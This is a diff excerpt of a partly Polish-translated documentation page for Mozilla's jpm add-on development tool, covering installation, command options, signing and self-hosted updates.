+ <li><span class="tlid-translation translation" lang="pl"><span class="alt-edited" title="">Pobierz i zainstaluj</span></span> Node.js z <a class="external external-icon" href="https://nodejs.org/">nodejs.org</a>. Node.js <span class="tlid-translation translation" lang="pl"><span title="">zawiera</span></span> npm.</li>
+ <li><span class="tlid-translation translation" lang="pl"><span title="">Lub</span></span> , <span class="tlid-translation translation" lang="pl"><span title="">jeśli masz</span></span> <span class="tlid-translation translation" lang="pl"><span title="">menedżer pakietów, taki jak APT</span></span>, zainstaluj npm <span class="tlid-translation translation" lang="pl"><span title="">przez to</span></span>. <span class="tlid-translation translation" lang="pl"><span title="">Na przykład</span></span>, <span class="tlid-translation translation" lang="pl"><span title="">w oknie terminalu Ubuntu lub Debian</span></span>, <span class="tlid-translation translation" lang="pl"><span class="alt-edited" title="">wpisz</span></span> <code>sudo apt-get install nodejs nodejs-legacy npm</code>.</li>
+</ul>
+
+<p><span class="tlid-translation translation" lang="pl"><span title="">Aby przetestować instalację, uruchom</span></span>:</p>
+
+<pre class="lang-js prettyprint prettyprinted">/usr/bin/env node -v</pre>
+
+<p><span class="tlid-translation translation" lang="pl"><span title="">Jeśli pojawi się komunikat o błędzie z informacją</span></span>  <em>/usr/bin/env: node: No such file or directory</em> and you have installed nodejs through a package manager, <span class="tlid-translation translation" lang="pl"><span title="">nodejs mógł zostać zainstalowany pod inną nazwą wykonywalną</span></span>. <span class="tlid-translation translation" lang="pl"><span title="">Aby zapewnić zgodność z jpm</span></span>,  <span class="tlid-translation translation" lang="pl"><span title="">jednak musi znajdować się w Twoim PATH pod nazwą</span></span> <code>node</code>. <span class="tlid-translation translation" lang="pl"><span title="">W Debianie i Ubuntu można temu zaradzić, zapewniając zainstalowanie pakietu zgodności</span></span>, <code>nodejs-legacy</code>:</p>
+
+<pre class="brush:bash">sudo apt-get install nodejs-legacy</pre>
+
+<p><span class="tlid-translation translation" lang="pl"><span title="">W innych dystrybucjach konieczne może być ręczne utworzenie lokalnego dowiązania symbolicznego do nodejs:</span></span></p>
+
+<pre class="brush:bash">sudo ln -s "$(which nodejs)" /usr/local/bin/node</pre>
+
+<h3 id="Instalowanie_jpm"><span class="tlid-translation translation" lang="pl"><span title="">Instalowanie</span></span> jpm</h3>
+
+<p>After you have npm installed and <code>node</code> on your PATH, install jpm just as you would any other npm package.</p>
+
+<h4 id="Installing_jpm_globally">Installing jpm globally</h4>
+
+<pre class="brush: bash">npm install jpm --global</pre>
+
+<p>Depending on your setup, you might need to run this as an administrator: <code>sudo npm install jpm --global</code></p>
+
+<h4 id="Installing_jpm_locally">Installing jpm locally</h4>
+
+<p>If you do not wish to, or are unable to, install jpm globally, you may instead install it locally:</p>
+
+<pre class="brush: bash">cd $HOME &amp;&amp; npm install jpm</pre>
+
+<p>To run <code>jpm</code> from a terminal when installed locally, you must add the directory <code>"$HOME/node_modules/.bin/"</code> to your terminal's PATH first. Add the following line to the end of the file <code>$HOME/.profile</code> to add it to your PATH permanently (as the file <code>.profile</code> is executed every time a new terminal is opened):</p>
+
+<pre class="brush: bash">export PATH="$HOME/node_modules/.bin/:$PATH"</pre>
+
+<h4 id="Installing_jpm_from_git">Installing jpm from git</h4>
+
+<p>Alternatively, you can also get the latest version of jpm using git:</p>
+
+<pre class="brush:bash">git clone https://github.com/mozilla-jetpack/jpm.git
+cd jpm
+npm install
+npm link
+</pre>
+
+<h3 id="After_installing_jpm">After installing jpm</h3>
+
+<p>After installation, at the command prompt, type:</p>
+
+<pre class="brush: bash">jpm</pre>
+
+<p>You should see a screen summarizing the available jpm commands. Note that unlike cfx, jpm is available in every command prompt you start, as long as you installed it with the <code>--global</code> flag.</p>
+
+<h3 id="Install_a_different_version_of_Firefox">Install a different version of Firefox</h3>
+
+<p>As of Firefox 48, it is not possible to use <a href="/en-US/docs/Mozilla/Add-ons/Distribution">unsigned add-ons</a> (i.e. any add-on which you are in the process of developing) in the branded release or beta versions of Firefox. Thus, you will need to download and install a different version of Firefox. Assuming you don't want an <a href="ftp.mozilla.org/pub/firefox/releases/">old version</a> of Firefox, your options are <a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Developer Edition</a>, <a href="https://nightly.mozilla.org/">Firefox Nightly</a>, <a href="https://wiki.mozilla.org/Add-ons/Extension_Signing#Unbranded_Builds">Unbranded Beta, or Unbranded Release</a>.</p>
+
+<p>When testing your add-on, you will need to use the <code>-b</code> option to <code>jpm run.</code> See <a href="/en-US/Add-ons/SDK/Tools/jpm#Selecting_a_browser_version">Selecting a browser version</a>.</p>
+
+<h3 id="Problems">Problems?</h3>
+
+<p>If you do not see this, ask for help. SDK users and project team members discuss problems and proposals on the <a class="external external-icon" href="https://groups.google.com/forum/#!forum/mozilla-labs-jetpack">project mailing list</a>. Someone else may have had the same problem you do, so try searching the list. You are welcome to post a question, too. You can also chat with other SDK users in <a class="external external-icon" href="https://mibbit.com/?channel=%23jetpack&amp;server=irc.mozilla.org">#jetpack</a> on <a class="external external-icon" href="http://irc.mozilla.org/">Mozilla's IRC network</a>.</p>
+
+<h2 id="Command_reference">Command reference</h2>
+
+<p>jpm supports the following commands:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <td style="width: 20%;"><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_init"><code>jpm init</code></a></td>
+ <td>Create a skeleton add-on as a starting point for your add-on.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_run"><code>jpm run</code></a></td>
+ <td>Launch an instance of Firefox with your add-on installed.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_test"><code>jpm test</code></a></td>
+ <td>Runs your add-on's unit tests.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_xpi"><code>jpm xpi</code></a></td>
+ <td>Package your add-on as an <a href="/en-US/docs/XPI">XPI</a> file, which is the install file format for Firefox add-ons.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_post"><code>jpm post</code></a></td>
+ <td>Package your add-on as an <a href="/en-US/docs/XPI">XPI</a> file, and then post it to some URL.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_watchpost"><code>jpm watchpost</code></a></td>
+ <td>Package your add-on as an <a href="/en-US/docs/XPI">XPI</a> file whenever there is a file change and post that to some URL.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_sign"><code>jpm sign</code></a></td>
+ <td>Package your add-on as an <a href="/en-US/docs/XPI">XPI</a> file, and then retrieve a new XPI signed by Mozilla.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="jpm_init">jpm init</h3>
+
+<p>This command initializes a new add-on from scratch.</p>
+
+<p>Create a new directory, change into it, and run <code>jpm init</code>.</p>
+
+<pre class="brush: bash">mkdir my-addon
+cd my-addon
+jpm init</pre>
+
+<p>You'll then be asked to supply some information about your add-on: this will be used to create your add-on's <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a> file.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/SDK/Tools/package_json#title">title</a></li>
+ <li><a href="/en-US/Add-ons/SDK/Tools/package_json#name">name</a>: this defaults to the name of the directory in which you are running <code>jpm init</code>. Unless an <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#id"><code>id</code></a> field is present in package.json, jpm prepends "@" to <code>name</code> and use the result as the <a href="/en-US/Add-ons/Install_Manifests#id"><code>id</code> field in the add-on's install manifest</a>.</li>
+ <li><a href="/en-US/Add-ons/SDK/Tools/package_json#version">version</a></li>
+ <li><a href="/en-US/Add-ons/SDK/Tools/package_json#description">description</a></li>
+ <li><a href="/en-US/Add-ons/SDK/Tools/package_json#main">entry point</a> (which maps to "main" in package.json)</li>
+ <li><a href="/en-US/Add-ons/SDK/Tools/package_json#author">author</a></li>
+ <li><a href="/en-US/Add-ons/SDK/Tools/package_json#engines">engines</a> (supported applications)</li>
+ <li><a href="/en-US/Add-ons/SDK/Tools/package_json#license">license</a></li>
+</ul>
+
+<p>Most of these fields have a default, which is shown in brackets after the question. If you just press Enter, your add-on gets the default value.</p>
+
+<p>Once you've supplied a value or accepted the default for these properties, you'll be shown the complete contents of "package.json" and asked to accept it.</p>
+
+<p>Then jpm creates a skeleton add-on, as a starting point for your add-on development, with the following file structure:</p>
+
+<ul class="directory-tree">
+ <li>my-addon
+ <ul>
+ <li>index.js</li>
+ <li>package.json</li>
+ <li>test
+ <ul>
+ <li>test-index.js</li>
+ </ul>
+ </li>
+ </ul>
+ </li>
+</ul>
+
+<h3 id="jpm_run">jpm run</h3>
+
+<p>This command runs a new instance of Firefox with the add-on installed:</p>
+
+<pre class="brush: bash">jpm run</pre>
+
+<p><code>jpm run</code> accepts the following options:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <td style="width: 30%;"><code>-b --binary BINARY</code></td>
+ <td>
+ <p>Use the version of Firefox specified in BINARY. BINARY may be specified as a full path or as a path relative to the current directory.</p>
+
+ <pre class="brush: bash">
+jpm run -b /path/to/Firefox/Nightly</pre>
+ See <a href="/en-US/Add-ons/SDK/Tools/jpm#Selecting_a_browser_version">Selecting a browser version</a>.</td>
+ </tr>
+ <tr>
+ <td><code>--binary-args CMDARGS</code></td>
+ <td>
+ <p>Pass <a href="/en-US/docs/Mozilla/Command_Line_Options">extra arguments</a> to Firefox.</p>
+
+ <p>For example, to pass the <code>-jsconsole</code> argument to Firefox and launch the <a href="/en-US/docs/Tools/Browser_Console">Browser Console</a>, try the following:</p>
+
+ <pre class="brush: bash">
+jpm run --binary-args -jsconsole</pre>
+
+ <p>To pass multiple arguments, or arguments containing spaces, quote them:</p>
+
+ <pre class="brush: bash">
+jpm run --binary-args '-url mzl.la -jsconsole'</pre>
+ </td>
+ </tr>
+ <tr>
+ <td><code>--debug</code></td>
+ <td>Run the <a href="/en-US/Add-ons/Add-on_Debugger">Add-on Debugger</a> attached to the add-on.</td>
+ </tr>
+ <tr>
+ <td><code>-o --overload PATH</code></td>
+ <td>
+ <p>Rather than use the SDK modules built into Firefox, use the modules found at PATH. If <code>-o</code> is specified and PATH is omitted, jpm looks for the JETPACK_ROOT environment variable and use its value as the path.</p>
+
+ <p>See <a href="/en-US/Add-ons/SDK/Tools/jpm#Overloading_the_built-in_modules">Overloading the built-in modules</a> for more information.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>-p --profile=<code> PROFILE</code></code></td>
+ <td>
+ <p>By default, jpm uses a clean temporary Firefox <a href="https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data">profile</a> each time you call jpm run. Use the <code>--profile</code> option to instruct jpm to launch Firefox with an existing profile.</p>
+
+ <p>The PROFILE value may be a profile name or the path to the profile.</p>
+
+ <p>See <a href="#Using_profiles">Using profiles</a> for more information.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>-v --verbose</code></td>
+ <td>Verbose operation.</td>
+ </tr>
+ <tr>
+ <td><code>--no-copy</code></td>
+ <td>
+ <div class="warning">Use with caution because <code>jpm run|test</code> changes many preferences, never use with your main profile.</div>
+
+ <div class="note">This only applies when <code>--profile</code> is used.</div>
+ Disables the copying of the profile used, which allows one to reuse a profile.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="jpm_test">jpm test</h3>
+
+<p>Use this command to run an add-on's unit tests. The command:</p>
+
+<ul>
+ <li>Looks for a directory called "test" within the current directory (or <code>--addon-dir</code>).</li>
+ <li>Opens every file in there whose name starts with "test-". Make note of the hyphen after "test" in the filename. <code>jpm test</code> include a file called "test-myCode.js", but will exclude files called "test_myCode.js" or "testMyCode.js")</li>
+ <li>call every function exported from that file whose name starts with "test".</li>
+</ul>
+
+<pre class="brush: bash">jpm test
+</pre>
+
+<p>See the <a href="/en-US/Add-ons/SDK/Tutorials/Unit_testing">tutorial on unit testing</a> and the <a href="/en-US/Add-ons/SDK/Low-Level_APIs/test_assert">reference documentation for the <code>assert</code> module</a> for more details on this.</p>
+
+<p><code>jpm test</code> accepts the following options:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <td><code>-b --binary BINARY</code></td>
+ <td>
+ <p>Use the version of Firefox specified in BINARY. BINARY may be specified as a full path or as a path relative to the current directory.</p>
+
+ <pre class="brush: bash">
+jpm test -b /path/to/Firefox/Nightly</pre>
+
+ <p>See <a href="/en-US/Add-ons/SDK/Tools/jpm#Selecting_a_browser_version">Selecting a browser version</a>.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>--binary-args CMDARGS</code></td>
+ <td>
+ <p>Pass <a href="http://kb.mozillazine.org/Command_line_arguments">extra arguments</a> to Firefox.</p>
+
+ <p>For example, to pass the <code>-jsconsole</code> argument to Firefox, which will launch the <a href="/en-US/docs/Tools/Browser_Console">Browser Console</a>, try the following:</p>
+
+ <pre class="brush: bash">
+jpm test --binary-args -jsconsole</pre>
+
+ <p>To pass multiple arguments, or arguments containing spaces, quote them:</p>
+
+ <pre class="brush: bash">
+jpm test --binary-args '-url mzl.la -jsconsole'</pre>
+ </td>
+ </tr>
+ <tr>
+ <td><code>--debug</code></td>
+ <td>Run the <a href="/en-US/Add-ons/Add-on_Debugger">Add-on Debugger</a> attached to the add-on.</td>
+ </tr>
+ <tr>
+ <td style="width: 30%;"><code>-f --filter FILE[:TEST]</code></td>
+ <td>
+ <p>Only run tests whose filenames match FILE and optionally match TEST, both regexps.</p>
+
+ <pre class="brush: bash">
+jpm test --filter base64:btoa</pre>
+
+ <p>The above command only runs tests in files whose names contain "base64", and in those files only runs tests whose names contain "btoa".</p>
+ </td>
+ </tr>
+ <tr>
+ <td style="width: 30%;"><code>-o --overload PATH</code></td>
+ <td>
+ <p>Rather than use the SDK modules built into Firefox, use the modules found at PATH. If <code>-o</code> is specified and PATH is omitted, jpm will look for the JETPACK_ROOT environment variable and use its value as the path.</p>
+
+ <p>See <a href="/en-US/Add-ons/SDK/Tools/jpm#Overloading_the_built-in_modules">Overloading the built-in modules</a> for more information.</p>
+ </td>
+ </tr>
+ <tr>
+ <td style="width: 30%;"><code>-p --profile<code> PROFILE</code></code></td>
+ <td>
+ <p>By default, jpm uses a clean temporary Firefox <a href="https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data">profile</a> each time you call jpm run. Use the <code>--profile</code> option to instruct jpm to launch Firefox with an existing profile.</p>
+
+ <p>The PROFILE value may be a profile name or the path to the profile.</p>
+
+ <p>See <a href="#Using_profiles">Using profiles</a> for more information.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>--stop-on-error</code></td>
+ <td>
+ <p>By default, jpm test keeps running tests even after tests fail. Specify <code>--stop-on-error</code> to stop running tests after the first failure:</p>
+
+ <pre class="brush: bash">
+jpm test --stop-on-error</pre>
+ </td>
+ </tr>
+ <tr>
+ <td><code>--tbpl</code></td>
+ <td>Print test output in <a href="https://treeherder.mozilla.org/">Treeherder</a> format</td>
+ </tr>
+ <tr>
+ <td><code>--times NUMBER</code></td>
+ <td>
+ <p>Run tests NUMBER of times:</p>
+
+ <pre class="brush: bash">
+jpm test --times 2</pre>
+ </td>
+ </tr>
+ <tr>
+ <td><code>-v --verbose</code></td>
+ <td>Verbose operation.</td>
+ </tr>
+ <tr>
+ <td><code>--no-copy</code></td>
+ <td>
+ <div class="warning">Use with caution because <code>jpm run|test</code> changes many preferences, never use with your main profile.</div>
+
+ <div class="note">This only applies when <code>--profile</code> is used.</div>
+ Disables the copying of the profile used, which allows one to reuse a profile.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="jpm_xpi">jpm xpi</h3>
+
+<p>This command packages the add-on as an <a href="/en-US/docs/XPI">XPI</a> file, which is the install file format for Mozilla add-ons.</p>
+
+<pre class="brush: bash">jpm xpi</pre>
+
+<p>It looks for a file called <code>package.json</code> in the current directory (or <code>--addon-dir</code>) and creates the corresponding XPI file. It ignores any ZIPs or XPIs in the add-on's root, and any test files. It includes all other files. If you want to exclude extra files, see <a href="/en-US/Add-ons/SDK/Tools/jpmignore">the .jpmignore file</a>.</p>
+
+<p>Once you have built an XPI file, you can distribute your add-on by submitting it to <a href="https://addons.mozilla.org/">addons.mozilla.org</a>.</p>
+
+<p><code>jpm xpi</code> accepts the following option:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <td><code>--dest-dir</code></td>
+ <td>
+ <p>Optional destination directory for the generated XPI file. The current working directory is the default destination.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>-v --verbose</code></td>
+ <td>
+ <p>Verbose operation:</p>
+
+ <pre class="brush: bash">
+jpm xpi -v</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="jpm_post">jpm post</h3>
+
+<p>This command packages the add-on as an <a href="/en-US/docs/XPI">XPI</a> file then posts it to some URL.</p>
+
+<pre class="brush: bash">jpm post</pre>
+
+<p>It looks for a file called <code>package.json</code> in the current directory (or <code>--addon-dir</code>) and creates an XPI file with which to post to the <code>--post-url</code>.</p>
+
+<p><code>jpm post</code> accepts the following options:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <td><code>--post-url URL</code></td>
+ <td>
+ <p>The URL to post the extension to after creating an XPI.</p>
+
+ <pre class="brush: bash">
+jpm post --post-url http://localhost:8888/</pre>
+
+ <p>See <a href="https://www.npmjs.com/package/jpm#using-post-and-watchpost">Using Post and Watchpost</a> for more information.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>-v --verbose</code></td>
+ <td>
+ <p>Verbose operation:</p>
+
+ <pre class="brush: bash">
+jpm post --post-url http://localhost:8888/ -v</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="jpm_watchpost">jpm watchpost</h3>
+
+<p>This command packages the add-on as an <a href="/en-US/docs/XPI">XPI</a> file then posts it to some URL whenever a file in the current working directory changes.</p>
+
+<pre class="brush: bash">jpm watchpost</pre>
+
+<p>Creates an XPI whenever a file changes in the current working directory (or <code>--addon-dir</code>) and posts that to the <code>--post-url</code>.</p>
+
+<p><code>jpm watchpost</code> accepts the following options:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <td><code>--post-url URL</code></td>
+ <td>
+ <p>The URL to post the extension to after creating an XPI.</p>
+
+ <pre class="brush: bash">
+jpm watchpost --post-url http://localhost:8888/</pre>
+
+ <p>See <a href="https://www.npmjs.com/package/jpm#using-post-and-watchpost">Using Post and Watchpost</a> for more information.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>-v --verbose</code></td>
+ <td>
+ <p>Verbose operation:</p>
+
+ <pre class="brush: bash">
+jpm watchpost --post-url http://localhost:8888/ -v</pre>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="jpm_sign">jpm sign</h3>
+
+<div class="note">
+<p>This feature is only supported from jpm 1.0.4 onwards.</p>
+</div>
+
+<p>This command retrieves a new <a href="/en-US/docs/XPI">XPI</a> for your add-on signed by Mozilla. This allows you to <a href="#Supporting_updates_for_self-hosted_add-ons">self-host your add-on</a> so that users can install it without error when <a href="https://wiki.mozilla.org/Add-ons/Extension_Signing">signed add-ons are required</a>.</p>
+
+<p>You can sign an XPI you've already generated by passing the XPI file in the <code>--xpi</code> argument, like this:</p>
+
+<pre class="bz_comment_text" id="comment_text_2">jpm sign --api-key ${JWT_ISSUER} --api-secret ${JWT_SECRET} --xpi &lt;xpi file&gt;</pre>
+
+<p>Alternatively, you can omit the <code>--xpi</code> argument, in which case <code>jpm sign</code> will generate an XPI from the current directory (or <code>--addon-dir</code>).</p>
+
+<pre class="brush: bash">jpm sign --api-key ${JWT_ISSUER} --api-secret ${JWT_SECRET}</pre>
+
+<p>This submits an <a href="/en-US/docs/XPI">XPI</a> it to the <a href="https://addons.mozilla.org/">addons.mozilla.org</a> <a href="https://olympia.readthedocs.org/en/latest/topics/api/signing.html">signing API</a>, then downloads a signed XPI to the working directory if it passes validation.</p>
+
+<p>To get values for <code>--api-key</code> and <code>--api-secret</code>, you will need to <a href="https://addons.mozilla.org/en-US/developers/addon/api/key/">create API credentials on addons.mozilla.org</a>. On the AMO key management page, these values are labeled "JWT_Issuer" and "JWT_Secret".</p>
+
+<p>Here are some possible outcomes of running the <code>sign</code> command:</p>
+
+<ul>
+ <li>Your add-on passed validation, was signed by Mozilla, and a new signed <a href="/en-US/docs/XPI">XPI</a> was downloaded to your working directory.</li>
+ <li>Your add-on failed validation, was not signed, and you got a link to a detailed report. After fixing the validation errors, you can run the command again.</li>
+ <li>You add-on passed validation but it could not be automatically signed because your add-on is <a href="/en-US/Add-ons/Distribution">listed</a>. Listed add-ons will require a manual review before they can be signed.</li>
+ <li>Your add-on at this exact version number already exists, so it was not signed. Increment the version number in your <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a> file and run the command again.</li>
+</ul>
+
+<p>Under the hood, <code>jpm sign</code> creates an unlisted add-on inside <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, which means you must distribute the XPI file yourself for your users to install it. If you need to create a listed add-on, just <a href="https://addons.mozilla.org/en-US/developers/addon/submit/2">submit it directly to addons.mozilla.org</a> where it is signed automatically. See the <a href="/en-US/docs/Extension_Versioning%2C_Update_and_Compatibility#Debugging_and_solving_problems">debugging</a> section if you are experiencing difficulty installing a signed add-on.</p>
+
+<p><code>jpm sign</code> accepts the following options:</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+ <tr>
+ <td><code>--api-key=JWT_ISSUER</code></td>
+ <td>
+ <p>API access key (string) generated on the <a href="https://addons.mozilla.org/en-US/developers/addon/api/key/">addons.mozilla.org key management page</a>.</p>
+
+ <p>On the AMO key management page, this value is labeled "JWT Issuer".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>--api-secret=JWT_SECRET</code></td>
+ <td>
+ <p>API access secret (string) generated on the <a href="https://addons.mozilla.org/en-US/developers/addon/api/key/">addons.mozilla.org key management page</a>. This value should be guarded with care and never checked into version control. If your secret is compromised, another developer could upload add-ons to your account. You should revoke and regenerate compromised API credentials immediately.</p>
+
+ <p>On the AMO key management page, this value is labeled "JWT Secret".</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>--api-url-prefix=http://.../api</code></td>
+ <td>
+ <p>An optional API URL prefix in case you'd like to use a pre-production signing API.</p>
+
+ <p>For example, you could pass <code>https://addons-dev.allizom.org/api/v3</code> to use the dev instance of <a href="https://addons.mozilla.org/">addons.mozilla.org</a>.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>--xpi=/path/to/file.xpi</code></td>
+ <td>
+ <p>An <a href="/en-US/docs/XPI">XPI</a> file to sign. When no file is specified, a new XPI will be generated from the current directory (or <code>--addon-dir</code>).</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Techniques">Techniques</h2>
+
+<h3 id="Selecting_a_browser_version">Selecting a browser version</h3>
+
+<p>By default, <code>jpm run</code> and <code>jpm test</code> runs the release version of Firefox. You can instruct jpm to use a different version in one of two ways:</p>
+
+<ul>
+ <li>
+ <p>You can use the <code>-b</code> or <code>--binary</code> option to instruct jpm to run a different version of Firefox. You can supply a path to a specific binary:</p>
+
+ <pre class="brush: bash">jpm run -b /path/to/Firefox/Nightly</pre>
+
+ <p>As a shorthand for this, you can pass "nightly", "firefoxdeveloperedition", "aurora", "beta", or "firefox" and jpm will look in the default location for these Firefox versions [Note: As of Firefox 48, the shorthands "firefox" and "beta" will resolve to versions of Firefox which will not run your add-on. This is due to Firefox 48, and later, not having the option to run add-ons which are <a href="/en-US/docs/Mozilla/Add-ons/Distribution">unsigned</a>.]:</p>
+
+ <pre class="brush: bash">jpm run -b nightly</pre>
+ </li>
+ <li>
+ <p>You can set the <code>JPM_FIREFOX_BINARY</code> environment variable with the path to the version of Firefox you want to run. When you invoke <code>jpm run</code> or <code>jpm test</code> without the <code>-b</code> option, jpm first checks <code>JPM_FIREFOX_BINARY</code>, and use this as the path if it is set.</p>
+ </li>
+</ul>
+
+<h3 id="Using_.jpmignore_to_ignore_files">Using <code>.jpmignore</code> to ignore files</h3>
+
+<p>Using <code>.jpmignore</code> is similar to using <code>.gitignore</code> with <code>git</code>, <code>.hgignore</code> with Mercurial, or <code>.npmignore</code> with <code>npm</code>. By using this file, you can let <code>jpm</code> know which files you would like it to ignore when building a <code>.xpi</code> file with <code>jpm xpi</code>.</p>
+
+<p>Here is an example:</p>
+
+<pre class="brush: bash"># Ignore .DS_Store files created by mac
+.DS_Store
+
+# Ignore any zip or xpi files
+*.zip
+*.xpi
+</pre>
+
+<p>A <code>.jpmignore</code> file with the above contents would ignore all zip files and <code>.DS_Store</code> files from the xpi generated by <code>jpm xpi</code>.</p>
+
+<h3 id="Using_profiles">Using profiles</h3>
+
+<p>By default, <code>jpm run</code> uses a new profile each time it is executed. This means that any profile-specific data entered from one run of <code>jpm</code> is not, by default, available in the next run.</p>
+
+<p>This includes, for example, any extra add-ons you installed, or your history, or any data stored using the <a href="/en-US/Add-ons/SDK/High-Level_APIs/simple-storage">simple-storage</a> API.</p>
+
+<p>To make <code>jpm</code> use a specific profile, pass the <code>--profile</code> option, specifying the name of the profile you wish to use, or the path to the profile.</p>
+
+<pre class="brush: bash">jpm run --profile boogaloo
+</pre>
+
+<pre class="brush: bash">jpm run --profile path/to/boogaloo</pre>
+
+<p>Use the <a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">profile manager</a> to create a new profile if needed.</p>
+
+<p>If you need changes to the profile to persist, add the <code>--no-copy</code> argument. However beware that jpm might also apply changes to the profile, setting some preferences that will make it unusable for daily usage.</p>
+
+<h3 id="Developing_without_browser_restarts">Developing without browser restarts</h3>
+
+<p>Because <code>jpm run</code> restarts the browser each time you invoke it, it can be a little cumbersome if you are making very frequent changes to an add-on. An alternative development model is to use the <a href="https://addons.mozilla.org/en-US/firefox/addon/autoinstaller/" rel="noreferrer">Extension Auto-Installer</a> add-on: this listens for new XPI files on a specified port and installs them automatically. That way you can test new changes without needing to restart the browser:</p>
+
+<ul>
+ <li>make a change to your add-on</li>
+ <li>run <code>jpm post --post-url http://localhost:8888/</code>, to make an XPI and post it.</li>
+</ul>
+
+<p>You could even automate this workflow with a simple script. For example:</p>
+
+<pre class="brush: bash">jpm watchpost --post-url http://localhost:8888/
+</pre>
+
+<p>Note that the logging level defined for the console is different when you use this method, compared to the logging level used when an add-on is run using <code>jpm run</code>. This means that if you want to see the output from <a href="/en-US/Add-ons/SDK/Tutorials/Logging" rel="noreferrer"><code>console.log()</code></a> messages, you have to tweak a setting. See the documentation on <a href="/en-US/Add-ons/SDK/Tools/console#Logging_Levels" rel="noreferrer">logging levels</a> for the details on this.</p>
+
+<h3 id="Overloading_the_built-in_modules">Overloading the built-in modules</h3>
+
+<p>The SDK modules you use to implement your add-on are built into Firefox. When you run or package an add-on using <code>jpm run</code> or <code>jpm xpi</code>, the add-on uses the versions of the modules in the version of Firefox that hosts it.</p>
+
+<p>As an add-on developer, this is usually what you want. But if you're developing the SDK modules themselves, of course, it isn't. In this case you need to:</p>
+
+<ul>
+ <li>Get a local copy of the SDK modules that you want: this usually means checking out the SDK from its <a href="https://github.com/mozilla/addon-sdk" rel="noreferrer">GitHub repo</a></li>
+ <li>Set the <code>JETPACK_ROOT</code> environment variable to your local copy</li>
+ <li>Pass the <code>-o</code> option to <code>jpm run</code> or <code>jpm xpi</code>:</li>
+</ul>
+
+<pre class="brush:bash">jpm run -o
+</pre>
+
+<p>This instructs jpm to use the local copies of the SDK modules, not the ones in Firefox. If you do not want to set the <code>JETPACK_ROOT</code> environment variable, you can pass the location of your copy of the SDK modules along with <code>-o</code>:</p>
+
+<pre class="brush:bash">jpm run -o "/path/to/addon-sdk/"</pre>
+
+<p>The path must be an absolute path and point to the SDK's root (not <code>addon-sdk/sdk</code> or <code>addon-sdk/sdk/lib</code>, for instance).</p>
+
+<h3 id="Supporting_updates_for_self-hosted_add-ons">Supporting updates for self-hosted add-ons</h3>
+
+<div class="note">
+<p>This feature is only supported from jpm 1.0.3 onwards.</p>
+</div>
+
+<p>When you make updates to your add-on to add features or fix bugs, you'll want any previously installed versions of the add-on to update themselves to the new version.</p>
+
+<p>If you list your add-on on <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, then all you have to do here is submit the new version; add-ons default to checking <a href="https://addons.mozilla.org/">addons.mozilla.org</a> for new versions of themselves. You can stop reading this section.</p>
+
+<p>If you do not list your add-on on <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, you need to generate a Mozilla-signed XPI and tell Firefox where it can find new versions of your add-on. The way this works is:</p>
+
+<ul>
+ <li>you run <a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_sign">jpm sign</a> anytime you need to create a new version</li>
+ <li>you host the signed add-on XPI and update it when you need to</li>
+ <li>you host an "update manifest", which, among other things, contains a URL pointing to the XPI</li>
+ <li>your add-on tells Firefox where it can find the update manifest</li>
+</ul>
+
+<p>To do this, include two extra keys in package.json:</p>
+
+<ul>
